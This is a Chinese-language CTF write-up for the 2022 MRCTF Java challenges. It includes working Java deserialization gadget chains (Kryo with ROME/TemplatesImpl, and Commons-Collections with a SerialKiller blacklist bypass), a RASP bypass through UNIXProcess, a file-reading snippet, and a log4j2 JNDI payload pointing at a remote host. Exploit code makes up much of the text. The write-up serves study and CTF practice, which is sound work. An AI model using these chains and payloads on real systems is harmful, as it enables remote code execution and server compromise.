2022MRCTF-Java部分

admin 2024年10月29日00:04:05评论15 views字数 23990阅读79分58秒阅读模式

2022MRCTF-Java部分

总结

总的来说是一次非常不错的比赛,这里也会简单列出考点方便查阅学习,不难有点引导性质

Ps:此次比赛都是不出网,所以都需要内存马,内存马部分不做讲解很简单百度搜搜

下面这两题挺不错的也学到了东西,题目做了备份,核心代码(exp)也放到了git仓库备份,本篇只是思路帖子

https://github.com/Y4tacker/CTFBackup/tree/main/2022/2022MRCTF

Springcoffee–Kryo反序列化、绕Rasp

EzJava–绕Serialkiller黑名单中cc关键组件

下面这两题没啥参考价值,不过让我搞了下实战也还不错

Java_mem_shell_Filter–log4j2打jndi

Java_mem_shell_Basic—tomcat弱口令

Springcoffee – Kryo反序列化、绕Rasp

ok,这东西也是从来没学过,又是从头开始,这里记录了当时是如何思考的分析思考过程

思路分析

首先看看整体目录结构

2022MRCTF-Java部分

这里挑几个重要的来讲一下CoffeeController

order路由反序列化

1234567
@RequestMapping({"/coffee/order"})public Message order(@RequestBody CoffeeRequest coffee) {  if (coffee.extraFlavor != null) {    ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(coffee.extraFlavor));    Input input = new Input(bas);    ExtraFlavor flavor = (ExtraFlavor)this.kryo.readClassAndObject(input);    return new Message(200, flavor.getName());

demo路由,主要是根据输入修改一些关键配置,这个比较关键之后再说

1234567891011121314151617181920212223242526272829303132333435363738
@RequestMapping({"/coffee/demo"})    public Message demoFlavor(@RequestBody String raw) throws Exception {        System.out.println(raw);        JSONObject serializeConfig = new JSONObject(raw);        if (serializeConfig.has("polish") && serializeConfig.getBoolean("polish")) {            this.kryo = new Kryo();            Method[] var3 = this.kryo.getClass().getDeclaredMethods();            int var4 = var3.length;            for(int var5 = 0; var5 < var4; ++var5) {                Method setMethod = var3[var5];                if (setMethod.getName().startsWith("set")) {                    try {                        Object p1 = serializeConfig.get(setMethod.getName().substring(3));                        if (!setMethod.getParameterTypes()[0].isPrimitive()) {                            try {                                p1 = Class.forName((String)p1).newInstance();                                setMethod.invoke(this.kryo, p1);                            } catch (Exception var9) {                                var9.printStackTrace();                            }                        } else {                            setMethod.invoke(this.kryo, p1);                        }                    } catch (Exception var10) {                    }                }            }        }        ByteArrayOutputStream bos = new ByteArrayOutputStream();        Output output = new Output(bos);        this.kryo.register(Mocha.class);        this.kryo.writeClassAndObject(output, new Mocha());        output.flush();        output.close();        return new Message(200, "Mocha!", Base64.getEncoder().encode(bos.toByteArray()));    }

首先要解决这道题,我们得知道前人都有一些什么研究

通过谷歌简单搜索可以搜到一篇文章:浅析Dubbo Kryo/FST反序列化漏洞(CVE-2021-25641)

其中比较有信息量的是调用栈,但是这里题目环境里面没有依赖

2022MRCTF-Java部分

但是这里有rome依赖,那么很容易想到EqualsBean去触发ROME的利用链子

2022MRCTF-Java部分

具体利用过程(Payload构造过程)

根据dubbo的利用链进行修改我们可以得到这样的代码

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124
package demo;import com.esotericsoftware.kryo.Kryo;import com.esotericsoftware.kryo.io.Input;import com.esotericsoftware.kryo.io.Output;import com.esotericsoftware.kryo.util.DefaultInstantiatorStrategy;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.rowset.JdbcRowSetImpl;import fun.mrctf.springcoffee.model.ExtraFlavor;import fun.mrctf.springcoffee.model.Mocha;import javassist.ClassPool;import org.json.JSONObject;import org.objenesis.strategy.SerializingInstantiatorStrategy;import org.objenesis.strategy.StdInstantiatorStrategy;import org.springframework.aop.target.HotSwappableTargetSource;import javax.sql.rowset.BaseRowSet;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.InetAddress;import java.net.URL;import java.net.URLConnection;import java.net.URLStreamHandler;import java.util.Base64;import java.util.HashMap;public class Testt {    protected Kryo kryo = new Kryo();    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }    public String ser(String raw) throws Exception{        JSONObject serializeConfig = new JSONObject(raw);        if (serializeConfig.has("polish") && serializeConfig.getBoolean("polish")) {            this.kryo = new Kryo();            Method[] var3 = this.kryo.getClass().getDeclaredMethods();            int var4 = var3.length;            for(int var5 = 0; var5 < var4; ++var5) {                Method setMethod = var3[var5];                if (setMethod.getName().startsWith("set")) {                    try {                        Object p1 = serializeConfig.get(setMethod.getName().substring(3));                        if (!setMethod.getParameterTypes()[0].isPrimitive()) {                            try {                                p1 = Class.forName((String)p1).newInstance();                                setMethod.invoke(this.kryo, p1);                            } catch (Exception var9) {                                var9.printStackTrace();                            }                        } else {                            setMethod.invoke(this.kryo, p1);                        }                    } catch (Exception var10) {                    }                }            }        }        ByteArrayOutputStream bos = new ByteArrayOutputStream();        Output output = new Output(bos);        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();        TemplatesImpl templates = new TemplatesImpl();        byte[][] bytes = new byte[][]{ClassPool.getDefault().get("demo.YYDS").toBytecode()};        EqualsBean bean = new EqualsBean(String.class,"");        setFieldValue(templates, "_bytecodes", bytes);        setFieldValue(templates, "_name", "1");        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        setFieldValue(bean,"beanClass", Templates.class);        setFieldValue(bean,"obj",templates);        Object gadgetChain = Utils.makeXStringToStringTrigger(templates,bean); // toString() trigger        objectObjectHashMap.put(gadgetChain,"");        kryo.writeClassAndObject(output, objectObjectHashMap);        output.flush();        output.close();        return new String(Base64.getEncoder().encode(bos.toByteArray()));    }    public void deser(String raw){        ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(raw));        Input input = new Input(bas);        ExtraFlavor flavor = (ExtraFlavor)this.kryo.readClassAndObject(input);        System.out.println(flavor.getName());    }    public static void main(String[] args) throws Exception {        Testt test = new Testt();        String ser = test.ser("{\"polish\":true,\"RegistrationRequired\":false,\"InstantiatorStrategy\": \"org.objenesis.strategy.StdInstantiatorStrategy\"}");        test.deser(ser);    }}

以及Utils类

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216
package demo;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.springframework.aop.target.HotSwappableTargetSource;import sun.reflect.ReflectionFactory;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.Serializable;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;/* * Utility class - based on code found in ysoserial, includes method calls used in * ysoserial.payloads.util specifically the Reflections, Gadgets, and ClassFiles classes. These were * consolidated into a single util class for the sake of brevity; they are otherwise unchanged. * * Additionally, uses code based on marshalsec.gadgets.ToStringUtil.makeSpringAOPToStringTrigger * to create a toString trigger * * ysoserial by Chris Frohoff - https://github.com/frohoff/ysoserial * marshalsec by Moritz Bechler - https://github.com/mbechler/marshalsec */public class Utils {    static {        // special case for using TemplatesImpl gadgets with a SecurityManager enabled        System.setProperty(DESERIALIZE_TRANSLET, "true");        // for RMI remote loading        System.setProperty("java.rmi.server.useCodebaseOnly", "false");    }    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";    public static class StubTransletPayload extends AbstractTranslet implements Serializable {        private static final long serialVersionUID = -5971610431559700674L;        public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}        @Override        public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}    }    // required to make TemplatesImpl happy    public static class Foo implements Serializable {        private static final long serialVersionUID = 8207363842866235160L;    }    public static InvocationHandler createMemoizedInvocationHandler (final Map<String, Object> map ) throws Exception {        return (InvocationHandler) Utils.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);    }    public static Object createTemplatesImpl ( final String command ) throws Exception {        if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {            return createTemplatesImpl(                    command,                    Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),                    Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),                    Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));        }        return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);    }    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )            throws Exception {        final T templates = tplClass.newInstance();        // use template gadget class        ClassPool pool = ClassPool.getDefault();        pool.insertClassPath(new ClassClassPath(Utils.StubTransletPayload.class));        pool.insertClassPath(new ClassClassPath(abstTranslet));        final CtClass clazz = pool.get(Utils.StubTransletPayload.class.getName());        // run command in static initializer        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections        String cmd = "System.out.println(\"whoops!\"); java.lang.Runtime.getRuntime().exec(\"" +                command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +                "\");";        clazz.makeClassInitializer().insertAfter(cmd);        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)        clazz.setName("ysoserial.Pwner" + System.nanoTime());        CtClass superC = pool.get(abstTranslet.getName());        clazz.setSuperclass(superC);        final byte[] classBytes = clazz.toBytecode();        // inject class bytes into instance        Utils.setFieldValue(templates, "_bytecodes", new byte[][] {                classBytes, Utils.classAsBytes(Utils.Foo.class)        });        // required to make TemplatesImpl happy        Utils.setFieldValue(templates, "_name", "Pwnr");        Utils.setFieldValue(templates, "_tfactory", transFactory.newInstance());        return templates;    }    public static Field getField(final Class<?> clazz, final String fieldName) {        Field field = null;        try {            field = clazz.getDeclaredField(fieldName);            field.setAccessible(true);        }        catch (NoSuchFieldException ex) {            if (clazz.getSuperclass() != null)                field = getField(clazz.getSuperclass(), fieldName);        }        return field;    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = getField(obj.getClass(), fieldName);        field.set(obj, value);    }    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {        final Field field = getField(obj.getClass(), fieldName);        return field.get(obj);    }    public static Constructor<?> getFirstCtor(final String name) throws Exception {        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];        ctor.setAccessible(true);        return ctor;    }    @SuppressWarnings ( {"unchecked"} )    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);        objCons.setAccessible(true);        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);        sc.setAccessible(true);        return (T)sc.newInstance(consArgs);    }    public static String classAsFile(final Class<?> clazz) {        return classAsFile(clazz, true);    }    public static String classAsFile(final Class<?> clazz, boolean suffix) {        String str;        if (clazz.getEnclosingClass() == null) {            str = clazz.getName().replace(".", "/");        } else {            str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();        }        if (suffix) {            str += ".class";        }        return str;    }    public static byte[] classAsBytes(final Class<?> clazz) {        try {            final byte[] buffer = new byte[1024];            final String file = classAsFile(clazz);            final InputStream in = Utils.class.getClassLoader().getResourceAsStream(file);            if (in == null) {                throw new IOException("couldn't find '" + file + "'");            }            final ByteArrayOutputStream out = new ByteArrayOutputStream();            int len;            while ((len = in.read(buffer)) != -1) {                out.write(buffer, 0, len);            }            return out.toByteArray();        } catch (IOException e) {            throw new RuntimeException(e);        }    }    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {        HashMap<Object, Object> s = new HashMap<>();        Utils.setFieldValue(s, "size", 2);        Class<?> nodeC;        try {            nodeC = Class.forName("java.util.HashMap$Node");        }        catch ( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");        }        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);        nodeCons.setAccessible(true);        Object tbl = Array.newInstance(nodeC, 2);        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));        Utils.setFieldValue(s, "table", tbl);        return s;    }    public static Object makeXStringToStringTrigger(Object o,Object bean) throws Exception {        return Utils.makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(bean));    }}

但是当你兴冲冲的写好利用链以后,会发现几个问题

首先你会看到一行报错,Class is not registered: java.util.HashMap

2022MRCTF-Java部分

那么你肯定会疑惑这是什么玩意儿?它来自哪里?

我们可以看到在com.esotericsoftware.kryo.Kryo#Kryo(com.esotericsoftware.kryo.ClassResolver, com.esotericsoftware.kryo.ReferenceResolver)

首先实例化的时候注册了一些基本类型

2022MRCTF-Java部分

然后在代码当中有this.kryo.register(Mocha.class);

可以看到默认是FieldSerializer

2022MRCTF-Java部分

那我们也知道我们这个思路触发的核心是通过com.esotericsoftware.kryo.serializers.MapSerializer,但是这里我们没法自己注册怎么办呢,还记得上面那个路由么,demo路由当中可以根据我们前端传入的json当中的熟悉控制执行对应的set方法做属性更改,这里我不直接说需要更改哪些属性去解决这道题,个人更倾向于遇到一个问题解决一个问题

2022MRCTF-Java部分

那么既然能控制属性,我们也得知道能控制那一些,通过简单输出可以得到

123456789101112
setWarnUnregisteredClassessetDefaultSerializersetDefaultSerializersetClassLoadersetRegistrationRequiredsetReferencessetCopyReferencessetReferenceResolversetInstantiatorStrategysetAutoResetsetMaxDepthsetOptimizedGenerics

回到刚刚的问题

既然如此那么我们首先需要知道在哪里抛出了这个异常,可以看到在

com.esotericsoftware.kryo.Kryo#getRegistration(java.lang.Class)

简单列出现在的调用栈,是在序列化的过程当中

123456
getRegistration:579, Kryo (com.esotericsoftware.kryo)writeClass:112, DefaultClassResolver (com.esotericsoftware.kryo.util)writeClass:613, Kryo (com.esotericsoftware.kryo)writeClassAndObject:708, Kryo (com.esotericsoftware.kryo)ser:97, Testt (demo)main:121, Testt (demo)

2022MRCTF-Java部分

可以看到根据类型在this.classResolver.getRegistration无结果就会抛出异常,通过debug输出classResolver当中的关键信息,可以很明显得到基本都是一些基本的数据类型,没有我们的Map

12345678910111213141516171819
{char=[5, char], long=[7, long], class java.lang.Byte=[4, byte], class java.lang.Character=[5, char], double=[8, double], class java.lang.Short=[6, short], int=[0, int], class java.lang.Integer=[0, int], byte=[4, byte], float=[2, float], class java.lang.Double=[8, double], class java.lang.Boolean=[3, boolean], boolean=[3, boolean], short=[6, short], class java.lang.Long=[7, long], class java.lang.String=[1, String], class java.lang.Float=[2, float]}

我们再来看在抛出异常的那部分,如果将registrationRequired设置为false,则可以略过这些过程

2022MRCTF-Java部分

此时它会执行com.esotericsoftware.kryo.util.DefaultClassResolver#registerImplicit

=>com.esotericsoftware.kryo.Kryo#getDefaultSerializer最终获取到我们需要的com.esotericsoftware.kryo.serializers.MapSerializer

通过比对属性以及上面提到的可利用的set方法,我们能很容易通过payload的传入控制这个过程

1
{"RegistrationRequired":false}

ok当你感觉又行的时候,又兴致冲冲运行了代码,此时又出现Class cannot be created (missing no-arg constructor):,字面意思是我们序列化的类需要有无参构造函数

2022MRCTF-Java部分

那我们再跟进代码看看实例化报错到底是怎么回事,在实例化一个类的时候会通过调用com.esotericsoftware.kryo.Kryo#newInstantiator

2022MRCTF-Java部分

并最终会调用到com.esotericsoftware.kryo.util.DefaultInstantiatorStrategy#newInstantiatorOf

此时的调用栈为

1234567891011121314
newInstantiatorOf:96, DefaultInstantiatorStrategy (com.esotericsoftware.kryo.util)newInstantiator:1190, Kryo (com.esotericsoftware.kryo)newInstance:1199, Kryo (com.esotericsoftware.kryo)create:163, FieldSerializer (com.esotericsoftware.kryo.serializers)read:122, FieldSerializer (com.esotericsoftware.kryo.serializers)readClassAndObject:880, Kryo (com.esotericsoftware.kryo)read:226, MapSerializer (com.esotericsoftware.kryo.serializers)read:42, MapSerializer (com.esotericsoftware.kryo.serializers)readClassAndObject:880, Kryo (com.esotericsoftware.kryo)read:226, MapSerializer (com.esotericsoftware.kryo.serializers)read:42, MapSerializer (com.esotericsoftware.kryo.serializers)readClassAndObject:880, Kryo (com.esotericsoftware.kryo)deser:110, Testt (demo)main:126, Testt (demo)

可以看到抛错的原因就是下面的这串代码,它默认我们的类有无参构造函数

2022MRCTF-Java部分

那为了解决这个问题我们也得知道是否可以不使用DefaultInstantiatorStrategy,转而使用其他InstantiatorStrategy的子类呢,答案是可以的,上面我们可以看到函数实例化的过程是通过this.strategy.newInstantiatorOf(type),而这个DefaultInstantiatorStrategy来源于strategy属性

正好在Kryo类当中有set方法可以实现,com.esotericsoftware.kryo.Kryo#setInstantiatorStrategy,可以看到如果是StdInstantiatorStrategy类则正好符合(官方文档比代码好看)

2022MRCTF-Java部分

因此我们得到最终传参

1
{"polish":true,"RegistrationRequired":false,"InstantiatorStrategy": "org.objenesis.strategy.StdInstantiatorStrategy"}

可以看到又报错了,_tfactory空指针异常

2022MRCTF-Java部分

这里如何解决呢?其实很简单,别忘了我们这个可是打ROME,通过触发com.rometools.rome.feed.impl.EqualsBean#beanEquals我们能调用任意get方法,这时候不难想到二次反序列化,java.security.SignedObject#getObject,其实就是虎符的思路了没啥难度

123456789101112
public Object getObject()    throws IOException, ClassNotFoundException{    // creating a stream pipe-line, from b to a    ByteArrayInputStream b = new ByteArrayInputStream(this.content);    ObjectInput a = new ObjectInputStream(b);    Object obj = a.readObject();    b.close();    a.close();    return obj;}

因此不难得到payload

1
payloadhere

绕Rasp

这时候你注入内存马执行会发现什么都是空的

这时候你一定很疑问为什么本地打通了远程不行,我也很疑惑,之后看到出题人说

2022MRCTF-Java部分

既然存在waf,那么我们第一件事情是什么呢,当然是验证是否是对payload的过滤

因此我将执行的字节码改成

1
Thread.sleep(10000);

成功看到页面延时

这时候猜到可能有Rasp(毕竟对于Java过滤base64解码后的字符串有点傻)

那第一步就要知道rasp的文件内容,用个之前从p牛那里学的伪协议小trick方便我读文件以及列目录

12345678910
String urlContent = "";final URL url = new URL(request.getParameter("read"));final BufferedReader in = new BufferedReader(new                                             InputStreamReader(url.openStream()));String inputLine = "";while ((inputLine = in.readLine()) != null) {  urlContent = urlContent + inputLine + "\n";}in.close();writer.println(urlContent);

2022MRCTF-Java部分

之后成功得到rasp的地址,/app/jrasp.jar,那么下载下来分析即可,图没截完,意思是只要执行到java.lang.ProcessImplstart方法,而这也就封掉了之前常见的Runtime,ProcessBuilder,甚至js执行之类的,el执行都不行,道理很简单会调用到java.lang.ProcessImpl

2022MRCTF-Java部分

如何绕过也很简单去找更下一层的调用即可,也就是通过UNIXProcess即可

2022MRCTF-Java部分

后面很恶心一个计算题

脚本有个地方小错误导致三小时没找到前面不能加CHLD_IN导致提前输入错误答案似乎

12345678910111213141516
use strict;use IPC::Open3;my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' ) or die "open3() failed!";my $r;$r = <CHLD_OUT>;print "$r";$r = <CHLD_OUT>;print "$r";$r = substr($r,0,-3);$r = eval "$r";print "$r\n";print CHLD_IN "$r\n";$r = <CHLD_OUT>;print "$r";

EzJava – Bypass Serialkiller

解读环境

首先附件给了两个东西一个jar,一个serialkiller的配置文件,下面是jar当中的目录架构

2022MRCTF-Java部分

这有两个控制器但是第一个没啥意义,这个路由很明显需要反序列化

123456789101112131415161718
@RestControllerpublic class HelloController {    public HelloController() {    }    @GetMapping({"/hello"})    public String index() {        return "hello";    }    @PostMapping({"/hello"})    public String index(@RequestBody String baseStr) throws Exception {        byte[] decode = Base64.getDecoder().decode(baseStr);        ObjectInputStream ois = new SerialKiller(new ByteArrayInputStream(decode), "serialkiller.xml");        ois.readObject();        return "hello";    }}

简单看下SerialKiller类,实现是载入配置获得黑白名单,通过resolveClass做了过滤,接下来就来看看黑名单,将我们反序列化的关键点给拿捏了

1234567891011121314
<blacklist>  <!-- ysoserial's CommonsCollections1,3,5,6 payload  -->  <regexp>org\.apache\.commons\.collections\.Transformer$</regexp>  <regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>  <regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>  <regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>  <regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>  <!-- ysoserial's CommonsCollections2,4 payload  -->  <regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>  <regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>  <regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>  <regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>  <regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp></blacklist>

Bypass

既然如此那么首先就是想到去找替换类达到同样的效果咯

下面是我通过简单搜索发现的类,当然后面发现解决这题方案很多,我只给一个

FactoryTransformer

可以看到这个trnasfromer的transform方法,可以调用任意Factory子类的create方法

123456789101112131415161718192021222324
public class FactoryTransformer implements Transformer, Serializable {    private static final long serialVersionUID = -6817674502475353160L;    private final Factory iFactory;    public static Transformer getInstance(Factory factory) {        if (factory == null) {            throw new IllegalArgumentException("Factory must not be null");        } else {            return new FactoryTransformer(factory);        }    }    public FactoryTransformer(Factory factory) {        this.iFactory = factory;    }    public Object transform(Object input) {        return this.iFactory.create();    }    public Factory getFactory() {        return this.iFactory;    }}

可以看到也不多,从名字就可以看出,其中有两个可以用的

2022MRCTF-Java部分

其中org.apache.commons.collections.functors.ConstantFactory#create可以返回任意值

代替ConstantTransformer

org.apache.commons.collections.functors.InstantiateFactory#create可以实例化任意类

代替InstantiateTransformer去实例化对象

那看到这里你有什么思路了吗?熟悉CC链的童鞋一定会知道TrAXFilter的构造函数当中可以帮助我们触发TemplatesImpl字节码加载的过程

通过如下构造,我们能很轻松的触发计算器

Ps小细节:对expMap做put操作会触发hashCode会导致利用链在序列化过程当中触发导致报错,别忘了先设置一个无关紧要的transformer(比如ConstantTransformer)最后再反射替换成我们恶意的Transformer

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.FactoryTransformer;import org.apache.commons.collections.functors.InstantiateFactory;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.nibblesec.tools.SerialKiller;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class Test {    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }    public static void main(String[] args) throws Exception{        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][]{                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()        });        setFieldValue(obj, "_name", "1");        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());        InstantiateFactory instantiateFactory;        instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class        ,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});        FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);        ConstantTransformer constantTransformer = new ConstantTransformer(1);        Map innerMap = new HashMap();        LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");        Map expMap = new HashMap();        expMap.put(tme, "valuevalue");        setFieldValue(outerMap,"factory",factoryTransformer);        outerMap.remove("keykey");        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);        objectOutputStream.writeObject(expMap);        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());        ObjectInputStream ois = new SerialKiller(byteArrayInputStream, "/Users/y4tacker/Downloads/ezjavaz/serialkiller.xml");        ois.readObject();    }}

2022MRCTF-Java部分

后面就是获取注入一个内存马即可获取flag,这部分不谈基础东西而已

2022MRCTF-Java部分

那么就结束了这一题

Java_mem_shell_Filter

首先只给了一个登录功能

2022MRCTF-Java部分

通过随便访问不存在页面,导致报错抛出也可以得到是tomcat8.0.12版本,那版本问题可以忽略了

接下来由于后端响应真的很快,在公共环境下能做到这样首先考虑弱口令,爆破无效

突然想到能不能打log4j2

1
name=${jndi:rmi://xxxxx/exp}&password=admin

后面拿flag也是比较阴间,这里不重要不写了,涉及到dump内存的操作还是写写吧

1
jmap -dump:format=b,file=e.bin <pid>

Java_mem_shell_Basic

可以看见直接是一个tomcat,看了版本没啥可利用的1day,同时版本比较低不存在幽灵猫漏洞

2022MRCTF-Java部分

那么接下来就只能考虑后台弱口令了,tomcat/tomcat,之后部署一个war包上去,直接冰蝎一把梭哈,就是flag位置比较阴间/usr/local/apache-tomcat-8.0.12/work/Catalina/localhost/ROOT/org/apache/jsp/threatbook_jsp.java

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:04:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2022MRCTF-Java部分https://cn-sec.com/archives/3314898.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息